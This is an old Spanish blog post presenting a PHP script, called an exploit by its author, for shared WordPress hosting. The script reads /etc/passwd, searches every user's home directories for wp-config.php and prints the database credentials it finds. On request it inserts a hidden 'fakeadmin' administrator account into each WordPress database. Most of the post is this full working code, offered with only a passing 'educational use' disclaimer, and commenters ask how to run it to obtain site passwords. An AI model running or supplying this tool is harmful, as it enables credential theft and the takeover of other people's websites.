WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor

Información Importante Sobre el Contenido

Estas accediendo al contenido antiguo del blog. Este artículo "WP-Config Discover: Héchale un vistazo a todos los Wordpress del servidor" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.

matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Código

  1. < ?php
  2. $paths = array(
  3.     "blog",
  4.     "site",
  5.     "html",
  6.     "www",
  7.     "html/blog",
  8.     "www/blog",
  9.     "site/blog",
  10.     "wordpress",
  11.     "wp",
  12.     "www/wp",
  13.     "www/wordpress",
  14.     "html/wordpress",
  15.     "html/wp",
  16.     "public_html",
  17.     "public_html/blog",
  18.     "public_html/wp",
  19.     "public_html/wordpress",
  20. );
  21. $files = array(
  22.     "wp-config.php",
  23. );
  24. print "Checking for ….\n";
  25. if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26. $_f = @file("/etc/passwd");
  27. foreach($_f as $usr){
  28.     $usr = explode(":", $usr);
  29.     $uid = $usr[2];
  30.     $home = $usr[5];
  31.     $usr = $usr[0];
  32.     if($uid >= 1000){
  33.         print $usr." (uid:".$uid."): ".$home."\n";
  34.         foreach($paths as $path){
  35.             if(file_exists($home."/".$path)) {
  36.             print "\tSearching in ".$home."/".$path."\n";
  37.                 foreach($files as $file){
  38.                     if(file_exists($home."/".$path."/".$file)){
  39.                          print "\t\tFound: ".$file."\n";
  40.                         $__f = @file($home."/".$path."/".$file);
  41.                         foreach($__f as $line){
  42.                             if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.                             if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.                             if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.                             if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.                             if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.                             flush();
  48.                         }
  49.                         print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.                         if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.                         if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.                         flush();
  53.                     }
  54.                 }
  55.             }
  56.             flush();
  57.         }
  58.         flush();
  59.     }
  60. }
  61. function getURL($user, $pass, $db, $host, $prefix){
  62.     preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.     preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.     preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.     preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.     preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.     $sql = @mysql_connect($host, $user, $pass);
  68.     @mysql_select_db($db);
  69.     $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.     @mysql_close($sql);
  71.     return @mysql_result($_q, 0, ‘option_value’);
  72. }
  73.  
  74. function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.         preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.         preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.         preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.         preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.         preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.         $sql = @mysql_connect($host, $user, $pass);
  81.         @mysql_select_db($db);
  82.     if($action == "create"){
  83.         $wp_uid = rand(9990,99999);
  84.         @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(‘dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘https://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.         @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.     }
  87.     if($action == "delete"){
  88.         mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.         mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.     }
  91.     @mysql_close($sql);
  92.     return "fakeadmin/dummie";
  93. }
  94. ?>

Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.

Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal.

El código está disponible tambien en https://codes.zerial.org/php/wp-config_discover.phps

nota: queda de más decir que es para uso educativo y es una herramienta de auditoría 🙂

Información Importante Sobre el Contenido

Estas accediendo al contenido antiguo del blog. Este artículo "WP-Config Discover: Héchale un vistazo a todos los Wordpress del servidor" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.

5 comentarios

  1. Notable Zerial, buenas ideas y buen trabajo.

  2. ja! educativo!

  3. como pongo a ejecutal el script?

  4. paulino perez: Desde consola, usando el php-cli (command line interface)

    saludos

  5. si instalo un servidor local en mi pc ¿puedo hacer correr este script y encontrar la pass de un sitio hecho en wordpress?

Los comentarios están cerrados.